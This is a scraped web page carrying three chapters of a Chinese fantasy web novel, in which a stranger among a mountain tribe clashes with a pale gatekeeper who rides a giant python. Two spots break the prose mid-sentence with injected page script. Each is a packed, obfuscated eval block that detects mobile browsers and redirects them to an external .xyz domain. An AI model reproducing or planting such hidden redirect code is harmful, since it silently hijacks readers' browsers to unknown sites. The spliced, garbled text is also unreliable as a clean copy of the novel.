$(''.inform'').remove(); $(''#content'').append('' 在他窗口爬了一圈,四下探了探头,仿佛确定了恐怖的族长不在,这才大着胆子钻了进来,企图用险恶的三角小脑袋去蹭褚桓的手,结果被褚桓闪电般地再次捏住了七寸。 褚桓有一点不能理解——这冰凉粘腻的长虫还以为它自己是一只讨人喜欢的小狗吗? 毒蛇的蛇尾还撒娇似的锲而不舍地往他的胳膊上缠,直到褚桓掰开了它的嘴。 “想来我家串门也不是不行。”褚桓用从没说过的离衣族语生涩而低缓地说,他发音不熟练,所以说得断断续续,一个词一个词地往外蹦,“不过得先让我拔了你的牙。” 毒蛇用实际行动表明了它确实是听得懂人话的,一听这话,顿时怂了,立刻展开装死大法,把尾巴直挺挺地垂了下来。 褚桓从山崖上跳下来的那一次之后,就有点病态地迷恋着“生命力”这种东西——说实话如果不是这样,他早把这条不断骚扰他的蛇给弄死了,小猫小狗小兔子就算了,谁受得了每天一睁眼就看见旁边滚着一条毒蛇,这穷乡僻壤的,进出都要靠骑马,真让它咬一口,上哪弄血清去? 褚桓不客气地把蛇顺着窗口扔了出去。 毒蛇感到被伤了自尊,默默地爬上了门口的树,缠在树杈上赌气去了,还自己去掏了一窝鸟蛋吃。 不过大概就像褚桓操心的那样——它脑壳里确实没多大地方来安放脑子,小毒蛇没多长时间就清理了一次内存,失忆了,不但忘却了仇恨,屁颠屁颠地回来,还衔了一颗鸟蛋来献媚。 褚桓:“……” 有道是伸手不打笑脸人……蛇,人家满心红地赶来送礼,褚桓也不好直接用窗户把它拍在外面,不过作为一个“被树杈捅了个对穿的脆弱人类”,褚桓对毒蛇含过的生鸟蛋颇感敬谢不敏,小心地捏着蛋端详了一阵,又把它喂回了蛇嘴里。 小蛇摇头晃脑地享用了人间美味,感觉自己对这个人类好像了解了一些,它顺着窗口爬进了褚桓的屋里,见褚桓没有反对,就不再试图往他身上缠,默默地游到了墙角,缠在了竖在那地一把扫帚上,把三角的下巴点在扫帚头上,不吵不闹地看褚桓做晨间运动。 和美男同床共枕地睡了一觉,完成了室内锻炼,还结交了一段离奇的人兽友谊……褚桓觉得自己真是度过了有意义的一天。 而这有意义的一天才刚刚开始。 吃过了早饭,“闪闪发亮的断崖”大山同学就带着另一个年轻的小伙子来找他了,他们牵了几匹马,驮着不少东西,褚桓翻了翻,发现货物里什么都有,有自制的腊肉,一些腌制的食物,酒,还有一些木雕的小工艺品。 平时在山上放牧或者巡逻的男人们都有一点这方面的手艺,用来打发时间的。 离衣族生活必需品其实基本能自给自足,听说当年南山为了一个支教老师,曾经在县城里辗转多处,不知道他做了多大的努力,最后总算是磕磕绊绊地成功打了个申请,副产品就是他弄来了一点针对边远少数民族地区的扶贫款,不多,但是聊胜于无,他们每年派人出去几趟,卖的东西都谈不上什么本钱,也能赚点零用钱,可以买些外面的东西。 想必是南山嘱咐过了,大山走到褚桓面前,对他说:“我们都听你的。” 他活像刚学了几句外语的小学生面对外教,准备的话指不定在心里转了多少圈,一说出口,整个人卸了货一样的轻松。 不过轻松完了又紧张,因为唯恐褚桓会回答,担心自己听不懂说不上来。 好在褚桓小时候第一次学外语的时候和他颇为同病相怜,十分能体会他的感受,并没有废话,只是拍了拍大山的肩膀:“走吧。” 17. 现世 和大山一起来的另一个小伙子连忙牵过马,把缰绳递给褚桓。 这个人褚桓也印象,模样有点像小姑娘,待人和气,又有点腼腆,在无论男女都普遍长得比别的地方人大一号的离衣族里,他显得格外瘦小,还有个名字翻译过来是“长长的马鞭”…… 不知道是哪个“鞭”,也不知道父母对他寄予了怎样的厚望。 据说马鞭是族里算数最好的,每次都会跟着南山过河卖东西,虽然一年走不了几趟,但比起其他人来说已经算是轻车熟路,普通话也比别人会得多一点。 马鞭羞涩地冲褚桓笑一下,牵过马,然后就一直在催促:“我们快点。” 他连说了三四遍,褚桓印象里,马鞭似乎不是个急性子,他发现,马鞭一边说话,一边在山尽头与树林的方向四处张望,好像那里有什么催着他一样。 大山则在腰间别好了佩刀,神色紧绷,动作也比平时急迫了几分。 两个人不知是有意还是无意,一前一后地把褚桓夹在中间。 知道的说他们是去赶集的,不知道的,看这紧张急迫的氛围,还得以为他们是在战略性撤退转移的。 三个人和几匹马很快往有雾的河边走去,这一天河边没有女人洗衣服,也没有孩子玩水。就在走得快的马的前蹄已经踏进水里的时候,褚桓听见背后传来一声长而凄厉的鹰唳,由远及近,紧接着是巨大的翅膀划过空气的时候带起的呼啸声。 马鞭皱着眉看了大山一眼,低声问:“这次为什么来得这么快?” 大山摇头不多说,只是催促:“快走。” 褚桓回头一看,只见一只大雕从天而降,径直落在与他们相距不到十米的地方,正双目炯炯地盯着他看。 如果它两翼展开,身长可能要有两三米。 可是这样体型的雕,不是一般在东北或者内蒙那边出没吗? 褚桓没来得及细想,就听见了一串的叫声,他一抬头,看见那些大雕像下雨一样接二连三地落地,落成了一个杀气腾腾的方阵。 褚桓莫名其妙地环顾了一下,这附近有猛禽养殖场? 他的马却有些受惊,脚步一下乱了,前腿不安地刨着地。 褚桓努力调集了一下自己贫乏的动物常识,没听说过马怕雕的说法。 他余光扫着奇怪的雕群,伸出手拍着马脖子安慰,轻声说:“行了行了,那么蠢的表情帖,就算来一个加强连有什么好怕的?” 人的状态也会影响马的状态,马很快在他的安抚下冷静了下来,不过它还是一秒钟都不想被群雕围观,如果不是褚桓微微控制着,它可能就要表演一番“撒丫子逃窜”了。 到了弥漫着浓雾的河里,大山自发地在前面带路,马鞭则牵住了他的马。 褚桓悄无声息地借扶眼镜的姿势打开了他眼镜上的信号接收装置——方才错身而过的时候,他偷偷地在大山身上贴了一个信号发射器。 这片浓雾就像一个天然的迷宫,人走进来会不由自主地失去方向,当中好像还含有某些致幻的成分,但是迷惑的对象却分血统,比如离衣族人就能完全免疫。 对于这样的自然奇观,褚桓难得有些好奇。 然而奇怪的事发生了,随着雾气变浓,大山那边传来的信号越来越弱,后来根本就是直接消失了,而此时,大山只比褚桓快了半个马身,人的背影还在他的肉眼范围内。 他的信号被阻断了。 这片浓雾把离衣族的聚居地包裹成了一个独立的小世界,褚桓把眼镜摘了下来,一边擦被水汽糊住的镜片,一边试着调试设备,心想:“有点意思。” 蓦地,褚桓后背一凉,他猛地回过头去,在河中间看见了一个人。 此时的雾还没有到伸手不见五指的地步,褚桓还勉强能看清水中的人——男的,也长发,发梢漂在水里,像一大坨浓郁的紫菜汤,那人赤/裸的上身纹着和南山身上相似的图案,但细节处又仿佛有些微妙的不同,雾气掩映,褚桓一时看不出究竟是哪里不同。 他的皮肤白得几乎不像东方人,近乎有些透明感,越发显得嘴唇鲜红,但是万事物极必反,唇红肤白到了一定境界,居然显出了一点刚刚吃了死人般的妖异。 难看倒是不难看,就是不大像活物。 过河过了一半看见这么一位,褚桓完全没有什么“蒹葭苍苍、有位伊人”的诗意联想,只觉得那里钻出了一只水鬼来。 马鞭和大山立刻同时勒住马,大山低低地叫了一句什么,那是一句褚桓从没有听过的离衣族语,和他们叫南山的时候有一点像,又不完全相同。 他听得出这个年轻人的语气很郑重,可是郑重中又有些戒备,没有对南山时候的亲近。 如果他们对南山的称呼是“族长”,那这是什么意思? “前任族长”?“死族长”?“来自阴间的族长”? “水鬼”只是直勾勾地盯着褚桓,不吭声。 马鞭和大山对视了一眼,马鞭上前一步,小心翼翼地解释了他们的行程,这次说的话褚桓听懂了,他说:“族长让我们在冬天来之前把最后一批东西卖了,正……正要出发。” “水鬼”看也不看他示意的货物,抬手一指褚桓,用一种也不知算是“阴柔”还是“低婉”的声音问:“他是谁?” 马鞭老老实实地回答:“是族长带回来的客人。” “客人?”水鬼猩红的嘴唇忽然一勾,他连笑容也异于常人。 笑的时候,上半张脸就好像给冻住了一样,肌肉纹丝不动,只有嘴唇生硬地变换出一个往上弯的形状,标杆性地诠释了什么叫做“皮笑肉不笑”。 褚桓端正地坐在马上,肌肉已经不由自主地绷紧了起来,他本能地感觉到了对方的威胁。 那水鬼突然从水中一跃而起,他猛地一拍水面,却并没有水花飞溅,在他一掌之下,不深的河水仿佛被他按出了巨大的暗流,连水中的马都给冲得齐齐退后了半步。 虽然不知道他怎么做到的,但显然,这还是一碗让人不能掉以轻心的紫菜汤。 水鬼的身影飞快地穿梭而过,闪电般地就到了褚桓面前,自下而上地和马背上的褚桓对视了一眼,他那眼神像两口看不见底的洞,黑得瘆人,惨白的手掌上好像有某种金属色一闪而过,抓向了褚桓的腿。 就在这时,褚桓的马不早不晚地往后一退,前蹄小幅度扬起,落下来的时候,马头被轻轻地拨到一边,它原地转了半圈,不偏不倚地避开了水鬼的爪子。 一切自然而然,都好像只是马惧怕面前的这个人,自发地退后。 褚桓轻轻地拍着马头,脸上的斯文友好一扫而空,漠然地望着水里的人。 马鞭立刻挡在褚桓面前,大山则挽起裤腿跳了下来,这两个年轻小伙子紧张坏了。褚桓听见大山叫了对方一声,加重了语气,却同时放轻了声音以示尊重:“他是族长请回来的客人。” “水鬼”死死地盯着褚桓:“他不怀好意。” 大山的眉头狠狠地一皱。 “让开。”水鬼厉声说,一把抓向大山的肩膀。 大山猛一侧身,提起肩膀抽出了腰刀,砸向对方的手腕,那腰刀的金属外壳跟水鬼惨白的手撞在一起,硬碰硬地“呛啷”一声。 大山的腰刀刚拔出一半,被那鬼以不可思议的速度别住了手腕,一折一推,刀刃被狠狠地推了回去,“噗通”一声脱手掉进了水里。 水鬼狠狠地按住大山的肩膀,指甲在他肩头上留下了五道鲜明的血痕,他借力一跃而起,伸手做爪,抓向褚桓的肩膀。 褚桓的马再次时机极佳地往后退了半步,马上的男人好像是慢吞吞地抽出一个黑乎乎的“铁棒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15088630|163607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”,也不知怎么的,就那么精准地递到了水鬼的爪子里。 水鬼本能地一合手,在半空中遇见了褚桓似笑非笑的目光。 褚桓:“我怎么不怀好意了,您的被迫害妄想症是都已经晚期扩散了吗?” 说话间,他力道轻巧地夹了一下马腹,马往前跨了一大步,褚桓手里的马鞭把手似乎是无意地在对方的胳膊肘上撞了一下。 水鬼的爪子不由自主地脱了力,“噗通”一声重新落回了水里。 这一次,他显然被激怒了。 水鬼后退一步,冷冷地看着褚桓,抬手屈指做哨,吹出一声长而尖锐的呼哨。 哨声一出,马鞭猛地脸色一变,来不及解释,不管不顾地就在褚桓的马身上抽了一鞭子,褚桓的马猝不及防,猛一拉前蹄,把静静流淌的小河流水蹚成了一锅沸腾的饺子汤,纵身直冲而去。 水鬼不肯放过他,不依不饶地越过了马鞭和大山直追了上来。 这回,褚桓没去心疼马惊不惊。 他不知道这个长得半死不活的小白脸到底是谁,只是从那两个小伙子的态度上判断出此人要么与离衣族关系匪浅,要么是离衣族里比较重要的人,那看在族里人这些日子都对他很照顾的份上,对方虽然一再咄咄逼人,他也再□□让了。 但是岁月和阅历赋予他成熟和理智,并不意味着褚桓本身脾气很好,小时候是小流氓,长大了突变成温良恭俭让的模范青年的概率实在太低了。 马再次受惊,褚桓心里顿时也有点冒火,他回身的工夫抽出了南山送给他的那把短刀,打算发发少年狂,就地干上一架。 可是就在这时,水下突然传来剧烈的震颤,褚桓骑的马哀鸣一声,猛地停了下来。 这次它无论如何也不能被安抚了,双膝一软,直接跪了下来,要不是褚桓骑术过关,几乎被它这么一起一落掀下来。 等等,这打架叫外援的习惯是怎么个传统? 一股腥臭的味道传来,只听一声巨响,浅浅的水被什么东西活生生地劈成了两半,水鬼脚下凭空涌起了一只大脑袋,把他高高地托了起来。 褚桓:“……” 外援是一条巨蟒。 别说亲眼看见,褚桓想都没想过,一条蛇居然能大到这种地步。它的身体合抱不拢,上身一抬,脑袋顶上能站一个大男人。 那蛇是通体近黑的青色,张嘴就露出锥子一样的尖牙,嘴里腥得人一阵头晕。 褚桓忽然听见一阵细小的“嘶嘶”声,他低头一看,发现一边装木雕工艺品的货物袋里露出了一个小小的头,那条青绿的小毒蛇不知道什么时候趁人不注意钻了进去,它仰头看了一眼,又慢吞吞地缩了回去,片刻后,它将一块指甲大的木头小鸟顶在了头上,游到马背上,摆了一个与那庞然大物如出一辙的造型。 自己的新朋友这样临危不惧地撑场子,褚桓感觉自己应该表达感谢,不过感谢的同时,他又不得不承认——它真的很有“丢人现眼”的特长。 水鬼骑在巨蟒的头上,居高临下地打量着褚桓,目光如同看一个死物,他口中忽然发出一声呼喝,大蛇立刻听懂了攻击的命令,上身猛地挺直,接着,以迅雷不及掩耳之势探头向褚桓咬了过来。 褚桓那一瞬间将短刀插回大腿上的皮套里,手探进了怀里,摸到了他的手枪。 胆敢冲他张嘴的东西,都要做好被一枪打爆脑子的心理准备。 腥风扑面而来,突然,一阵急促的叶笛声音传来,尖锐得仿佛要撕破浓雾。 当空咬下来的大蛇如同中了定身法,当场保持着攻击到一半的姿势,一动也不动了。 众人一同回过头去,见一人涉水而来。 南山? 南山径直走到大蛇与褚桓之间,渊渟岳峙地一站。 “走你们的。”他说。 18. 现世 褚桓没有动,他既不可能丢下南山自己离开,也不大会在不明来龙去脉的时候贸然搀和,于是在一边静观其变。 南山转头切换成自己的语言,无视巨蟒,熟稔地对蛇头上的“水鬼”说:“你下来。” 水鬼瞥向褚桓,褚桓一脸“听不懂你们在说什么”地端坐马上,万分地无动于衷地承受着对方杀父夺妻般的仇恨目光。 水鬼一脸沟沟壑壑的意难平,死活不肯动——要是别人说一句“下来”他就得下来,以后面子往哪搁?何况还是当着褚桓这个外人的面。 但比起人,动物就老实得很了,大蛇在犹豫了一下之后,缓缓地垂下头,半沉入了水中。 水鬼面色压抑,脸色越发的白,气息越发的粗重,头顶火冒三丈有如实质。 褚桓就是那个他想烧死的仇恨对象。 水鬼突然低吼一声,从蛇头上一跃而起,越过南山,向褚桓扑了过去。 南山抬手把族长权杖横了过来,杖身卡在了水鬼的脖子上,这一下卡得又狠又寸,水鬼那张脸陡然从白米饭过度到了蚊子血,南山手掌蓦地一紧,水鬼整个人往后倒去,巨蟒连忙撑了他一下,好歹没让他躺下喝喝水。 水鬼退后几步才勉强站定,他弯下腰,剧烈地咳嗽了起来。 大蛇不安地摆动了一下尾巴,河水又是一串躁动的起伏。 南山面无表情地看了他一眼,回手把马背上顶个鸟的毒蛇捉了下来,在马身上轻拍了一下,对褚桓他们说:“没事了,你们走吧,这几天族里刚好有些事,课先停几天。” 确定他摆得平,褚桓这才调转了马头。 直到他们走出好一段,褚桓还能听见那水鬼用他那独特的声线冲南山嚷嚷:“你居然带外人来!你忘了上一个吗?” 相比他的气急败坏,南山的声音要舒缓好多:“这你就不用管了。” 水鬼暴跳如雷,叽里呱啦地说了一大堆,他那话说得超速了足有二百迈,以褚桓对离衣族语的熟练程度,这回是真听不懂了。 再走得远一点,不但听不懂,也听不见了,到了雾最浓的地方,前后都不见人,声音也宛如被阻隔了。 等他们走远,南山才俯下/身,摸了摸巨蟒的头,叹了口气:“走吧。” “水鬼”僵立在水中,气得浑身发抖。 南山瞥了他一眼,加重了些语气:“鲁格。” 这名叫做“鲁格”的水鬼愤愤地跳上巨蟒的身体:“我看你简直疯了!” 说完,他驱动巨蟒,飞快地游走了。 南山独自在细细的河水中间站了一会,片刻后,他转过身,望向褚桓他们已经消失的方向,他的整条腿都浸泡在冰冷的河水中,但他并不觉得冷,只是雾太大了,他心里一阵恍惚的迷茫。 那一瞬间,南山突然想起他在褚桓带来的旧杂志上看过的一句话,“念天地之悠悠”,好像是写文章的人引用的,听褚桓说,是从他们某一首古诗里抠下来的。 “天地”南山认识,但是什么叫做“悠悠”呢? 问褚桓,褚桓小时候上的古诗词鉴赏课早就原封不动地还给老师了,也说不清楚,他只是按自己的理解告诉南山:“可能就是很大、很宽阔的意思吧。大得让人无处着力、无能为力那种。” 尽管河水还没有没过他的腰,也没有很大很宽阔,但是此时,南山却已经感觉到了“悠悠”。 小毒蛇缓缓地绕着他的胳膊攀上了他的肩膀,嘴里还含着那只木雕的小鸟。 “这次门开得这么早,我恐怕‘那边’要撑不住了。”南山伸出手掌拢住了蛇头,自言自语地问,“到时候怎么办?” 小毒蛇发出“嘶嘶”的声音,然后可能是发觉自己提不出什么建设性的意见,就把小鸟吐在了南山的手掌上,送了个礼物安慰他。 南山垂下眼,捏着那只头大身子小的鸟看了一会,发愁地拍了以下小毒蛇的头:“你什么也不懂,就会添乱,唉。” 他没有骑蛇归去的拉风退场方式,只是低着头,沉默地一步一步走了回去。 如果这时褚桓回来看一眼,一定会吓一跳。 离衣族里平时有些地广人稀的聚居地这天异常的拥挤,树枝房顶上落满了大得吓人的猛禽,还有数条巨蟒缠在树干上,缓缓地吞吐着信子,天却异常的阴沉,好像一顶压在头顶的大锅盖,正酝酿着一场载着电闪雷鸣的风雨。 好多像鲁格一样苍白的人仿佛一夜之间从地下冒了出来,他们静静地站在鲁格之后,与离衣族的人泾渭分明。 离衣族里男女老幼都有,而鲁格他们那边却只有青壮年的男女。 鲁格侧坐在高高的竖起的蛇头上,带着睥睨一切的妖异,盯着不远处的南山。 南山就在众人的注视下,坦然地弯下腰,仔细地把自己泡湿的裤腿和头发一一拧干。 小秃头哒哒地跑过来,一点眼力劲儿也没有,不顾场合地歪着头问南山:“族长,大王大王去哪了?” 南山说:“出去了,我托他去办点事。” 小秃头担心地问:“还回来吗?” 南山听了这话,整理自己的动作一顿,过了一会,他冲小秃头招招手:“过来。” 族长作为小秃头的前偶像,还是有点号召力的,小秃头立刻欢欢喜喜地被召唤了过去,踮起脚,一把抱住了南山的大腿,流着哈喇子仰望着南山傻笑,是一派浑然天成的花痴。 “他过几天就回来。”南山摸了摸他的头,然后他扫视四下,就在众目睽睽之下,意有所指地问小秃头,“如果有一天他要离开我们这,你想跟他一起走吗?” 小秃头太小了,还没有发育出关于家乡、故土、亲人等等沉重的概念,在他看来,喜欢谁就跟谁走,这是天经地义的逻辑,听见南山问,立刻毫不犹豫地点了点头,响亮的给出了回答:“想。” 从南山问出那句话开始,蛇头上的鲁格脸色已经不是一般的难看了。 南山不看他,扳起小秃头的下巴,接着问:“你为什么想跟他走呢?不要我们了吗?” 小秃头就掰着手指头给他数:“因为大王大王给糖吃,给糖吃我就喜欢他,我最喜欢谁,谁就最好看,那大王大王就最好看,我阿妈说,我长大了要娶最好看的人当媳妇!” 南山微微一哂,并没有对这天真得“无懈可击”的推理做出“大人式”的评价。 可是说着说着,小秃头却自己皱起了稀疏的眉,他不由自主地把手伸进了嘴里,无意识地咬着手:“但是我要是跟大王大王走了,就看不见阿爸和阿妈了,也看不见族长了。” 南山:“是啊,那你怎么办?” 小秃头皱着眉纠结了许久,终于,他幼小的脑子发现了这件事难以两全其美,小男孩想着想着就忘了这只是个假设,把它当了真,急得咬完手指咬南山的裤子。 可是哪怕把南山的裤子咬个洞,也依然是于事无补,小秃头不由得悲从中来,“哇”一声哭了起来。 小秃头的妈赶紧上前一步,向南山行了个郑重古老的礼节,在死孩子邋邋遢遢的把鼻涕眼泪抹族长一裤子之前,把他给拎了回来。 鲁格冷冷地问:“南山,你这是什么意思?” 南山转过身面对着他:“今年的‘门’好像开早了。” 鲁格咬牙切齿地说:“你不要转移话题——随便带一个外人进族里,你有什么要解释的吗?” 南山心平气和地将族长权杖竖在了一边,顶端镶嵌的拳头大的翡翠被水洗过,露出熠熠生辉的莹润光泽。 “有一天我们这里彻底陷落了,我希望族人们不要走投无路,他们过了河,能说河那边人的话,可以靠卖东西或者帮人家做事为生。”南山说,“所以我找个人来教我们说话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15088631|163607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这有什么问题吗?” “放屁,”鲁格恶狠狠地打断了他,“几十代的守山人,我没见过你这样软骨头的族长!” “离衣族”的意思就是“守山人”,与之共生的,是鲁格他们这些“守门人”,他们世代遵循着同一种生活方式,守着同一块土地与秘密。 南山不急不怒:“早几十代的守山人没有面对‘陷落’的问题。” 鲁格低声咆哮:“那你们守山人就应该跟这块地方一起去死!你怕死吗?懦夫!” 南山沉默了下来。 他环顾他的族人——小秃头还在吃手,花骨朵有一双与她妈如出一辙的漂亮大眼睛……他们有什么都不懂的小孩,有没来得及嫁人的少女,有巡视的时候还在念念有词背汉语词的小伙子,还有只想安度个晚年的老人。 他们和面前这些所谓的“守门人”不一样。 守门人虽然与守山人关系密切,但彼此间差异巨大。 守门人是“门”造出来的,他们生来无父无母、孓然一身,他们没有经历过懵懂的童年,在人世上睁开眼睛就是这样一幅长成的模样,而当他们年老力衰,同族们就会依照规矩送他去死。 “守门人”的生命一点也不真实,临到终了,他们就像一条被虫蛀了的裤子或者烂了根的玉米秧。 和他们有什么好说的呢? 没必要,说不通的。 南山的脸色淡了下来,不怎么客气地说:“死活都是我们守山人的事,轮不到你来多嘴。” 鲁格的手指抠进了巨蟒的鳞片中,巨蟒吃痛,猛地颤了一下,上身抬到一半,又勉强压抑住,载着鲁格,一动不敢动。 两人间的气氛陡然间变得剑拔弩张起来,两方面人站得黑压压的,连那些猛禽与巨蟒都不敢吭一声。 不知过了多久,南山身后忽然传来一声嚎哭,打破了这种让人窒息地对峙——是个去年刚出生的小家伙,被吓坏了。 南山的目光终于一动,敛了敛目光,低低地叹了口气:“你下来吧,大家一年就相聚三天,我们别浪费在吵架上。” 鲁格顿了顿,掐着蛇的手指微松,好一会,他草率地点了个头,算是借着这个台阶下来了,他说:“今年的‘门’比往年早开了半个月,你们最好做好心理准备,最近我们观察,‘那边’恐怕要变天了,就是这一两年的事。” 南山轻描淡写地点了个头:“多谢。” 他说完,回身招了招手,春天双手捧着一个酒坛,她的小女儿花骨朵把一盘手工的糕点顶在了头上,走到鲁格面前。 鲁格神色稍缓,拍了拍大蛇的头,那巨蟒温顺异常地伏了下来。 鲁格先是从花骨朵的盘子里掰了半块糕点,礼仪似的浅尝辄止地吃了一口,然后伸出冰冷的手,在小姑娘脑门上按了一下,另一个“守门人”从他身后走上来,接过了花骨朵手里的盘子。 鲁格又接过了春天手里的酒坛,就着坛子喝了一口,同样递给身后的人,他柔和下眉目,客气地打了招呼:“春天姐。” 春天冲他笑了一下,而像每一个成年人一样,她的笑容中似有隐忧。 每年秋末冬来的时候,守门人与守山人这两族都有这么几天的相聚,按理,离衣——守山人一族会替他们接风洗尘。 歌舞在压抑的气氛中开始,又渐渐地缓和了下来,人们很快找到了熟悉的亲密。 南山拎着两坛酒走到鲁格身边,递给了对方一坛。他望着已经西沉的太阳,低声说:“你放心,就算我想让他留下来,他也拒绝了我,冬天来之前,我会把人送走的。” 鲁格看了他一眼,默默地托起酒坛子,在南山的酒坛子上碰了一下,两个人各自喝了一口酒,虽然谁也没说话,但就算是和解了。 天已经黑了,几个偷喝了酒的小崽子在空地上睡得横七竖八的,人声仍未止息。 19. 现世 褚桓长到了这把年纪,还不知道他居然也有当“祸水”的命——他什么也没说,什么也没做,从头到尾只是在旁边打了一瓶无辜的酱油,居然险些引起一场两族之间的冲突。 他们先是辗转到了南山接他的那个县城,当天晚上留在当地招待所休整,褚桓重新搜遍了整个县城,来回转了好几圈,终于确定这个伟大的交通枢纽站是不卖书的。 上次与那家珍奇的“书店”敢情是纯属偶然邂逅,褚桓发现,自从他们把卖不出去的旧书都打发给自己后,就专心致志地转型成了一家小食品店,店里连张有字的草纸都找不着了。 淳朴的当地人民用实际行动表明了什么是“经济基础决定上层建筑”——作为基石,卖吃的总比卖书的生意好。 这里没有第二家书店了——怪不得一本破新华字典能成为离衣族的镇族之宝。 不过褚桓也不算无功而退,他找了个电话,联系到了老王,汇报了自己未来三天的行程,约了对方在最近的地级市见。 他得把枪交了。 逛了一大圈,回到下榻的宾馆,褚桓看见大山和马鞭正在大包小包的整理带来的货物。 尽管大山平时颇有课代表的范儿,但是跟褚桓这种上课才出现、上完课立刻不见的隐身老师并不很熟——何况还有语言障碍。 他十分腼腆地冲褚桓笑了一下,犹豫了一下,拿出小佩刀,切下了一块腊肉,小心翼翼地递给了褚桓。 褚桓随手塞进嘴里,边往里走边问:“多少钱一斤?” 马鞭羞涩地冲他伸出两根手指。 褚桓:“二十?” 那些这小伙子做生意还挺实惠。 马鞭连忙摇摇头:“不不,两、两库屋爱……” 褚桓怀疑自己听错了。 大山见他呆愣,还以为是马鞭发音不准,立刻连忙帮忙传达意思,他低头从随身的小挎包里翻出了两块钱零钱,热情洋溢地举起来示意褚桓:“这个,这个。” “两块?两块钱一斤?”褚桓缓缓地嚼着腊肉,思考了好一会,没琢磨出该怎么评价这句话,末了,只好无奈地问,“你们俩没事吧?” 两个无知的青年一同睁着大眼睛望着他,那表情无端让褚桓想起了那天站成了一排的大雕。 褚桓按了按太阳穴,他们大老远的跑过来,闹了半天做得是赔本赚吆喝的买卖吗?这是怎样地一种奉献精神啊? 褚桓:“成本呢?你们没有成本吗?” 马鞭果然是跟着南山跑过几次生意的熟练工,居然高能地听懂了“成本”俩字,兴致勃勃地冲褚桓伸出一根手指:“成奔就……就一块。” 面对这样天才的会计,褚桓感到了深深的无能为力:“……怎么算的?” 马鞭充满了耐心地解释:“就是盐,盐和……那个黑的……” 他边说,边卖力地伸出手,转来转去地比划。 褚桓:“调味料?” 马鞭和大山一起狂点头。 褚桓转身一屁股坐在了床边,端详着这两支纯洁的花朵:“那还有肉呢?人工呢?不算成本吗?” 马鞭莫名地抓了抓头发:“肉?自己养,自己,嗯……” 大山连忙配合着伸手做出一个搅合的动作,脸上带着劳动的快乐,微笑说:“自己给它吃。” 褚桓无言以对。 半晌,他真诚地握住了马鞭的手,恳切地说:“原来你就是谣言中那个算账很好的高手,失敬失敬。” 马鞭半懂不懂,还以为自己遭到了表扬,脸“腾”一下就红了,活像喝醉了一样,深一脚浅一脚地走了。 第二天,褚桓拍板决定,搭了一辆车,由那两个小伙子扛着大包,一起去了旅游区。 褚桓观察了一下环境,然后在门口选了个位置,指挥俩孩子支起摊,竖起一块牌子,写上“有机腊肉,纯天然健康无污染,四十块钱一斤。” 再加上“传奇老汤配方养颜酱菜”,以及“神秘少数民族许愿木雕”的哼哈二将护法,他高效地建成了一个简单的土特产专柜。 马鞭和大山急得团团转,碍于族长吩咐过,出来一切都要听褚桓的,他们不好直接反对,只好比比划划地试图和这个不靠谱的大王大王沟通,告诉他这样是卖不出去的。 褚桓岿然不动的使出了他“我听不懂”的大招,反弹了一切他人见解。 就在马鞭抓耳挠腮的时候,一个女游客经过,看见褚桓停住了脚步,打量片刻后,大概是萌点被戳中了,她大胆奔放地叫了一声:“哎,帅哥,回头!” 但凡方圆百米以内,只要有人叫一声“帅哥”,褚桓必定会臭不要脸地自觉回头。 只听“喀嚓”一声,女游客手里的相机抓拍了他回眸侧脸。这位奔放的女子在同伴叽叽咕咕的笑声里毫不扭捏地说:“帅哥,身材真正。” 褚桓把面前木牌一掀:“有机腊肉吃的,美女,尝尝?” 马鞭:“……” 大山:“……” 他们俩眼睁睁地看着自己带来的货物不到一天,就被各种驴友买光了,结结实实地体会了一番什么叫做“人傻钱多”。 收摊数钱的时候,马鞭的手都颤抖了,他从没见过这么多钱,腿脚直打票,不住地问褚桓:“是不是能买两个轮的,两个轮的……” 褚桓:“自行车?能。” 马鞭热泪盈眶:“那是不是能买四个轮的……” 旁边开过一辆大公共汽车,马鞭一指:“那个!” 褚桓沉默了一会:“把你俩一起卖了或许能凑一凑。” 一直到褚桓给他们俩找了个住处安顿下来,俩小伙子都是一脸梦幻。 褚桓和他们俩交代了一声,自己掏钱连夜租了辆破皮卡,开了一宿的盘山路,到了最近的一个有火车的县城,又马不停蹄地坐火车赶去了最近的地级市,老王在那亲自等着他……迎接他的是劈头盖脸的一顿臭骂。 褚桓把枪放下,不声不响地听了两分钟,转身就要走。 老王一声爆喝:“干什么去?” 褚桓:“您要是没正事我就先走了,我这赶时间呢。” 老王:“赶他妈什么时间!” 他说完,烦躁地往后一靠,拉远了距离打量着褚桓,片刻,老王神色缓了缓,低声嘀咕了一句:“瘦了,不过脸色没那么难看了。” 褚桓:“纯天然有机腊肉吃的,买两斤吗?” 老王啼笑皆非地翻了个白眼:“行啊,既然是你的肉,那就给我弄两斤。” 褚桓拍拍裤兜:“哎哟,您看,刚卖完,断货了,就剩下两条光板大腿骨,要不要?” 老王:“要,卸下来,我带回家喂狗——小兔崽子,敢消遣你老子。” 他们俩一起笑了起来,笑完,老王见气氛不错,才慎重地提起话题:“什么时候回来工作?” 褚桓站在门口,顿了顿:“快了——等我再住几个月,住够了就回去。” 老王意味深长:“你这一假,可放了三年多了。” 褚桓敛去笑容,低低地应了一声:“知道。” 刚进门的时候,褚桓虽然风尘仆仆、匆匆忙忙,脸上还带着些疲惫之色,但是老王却从他身上看见了一点久违的神采。 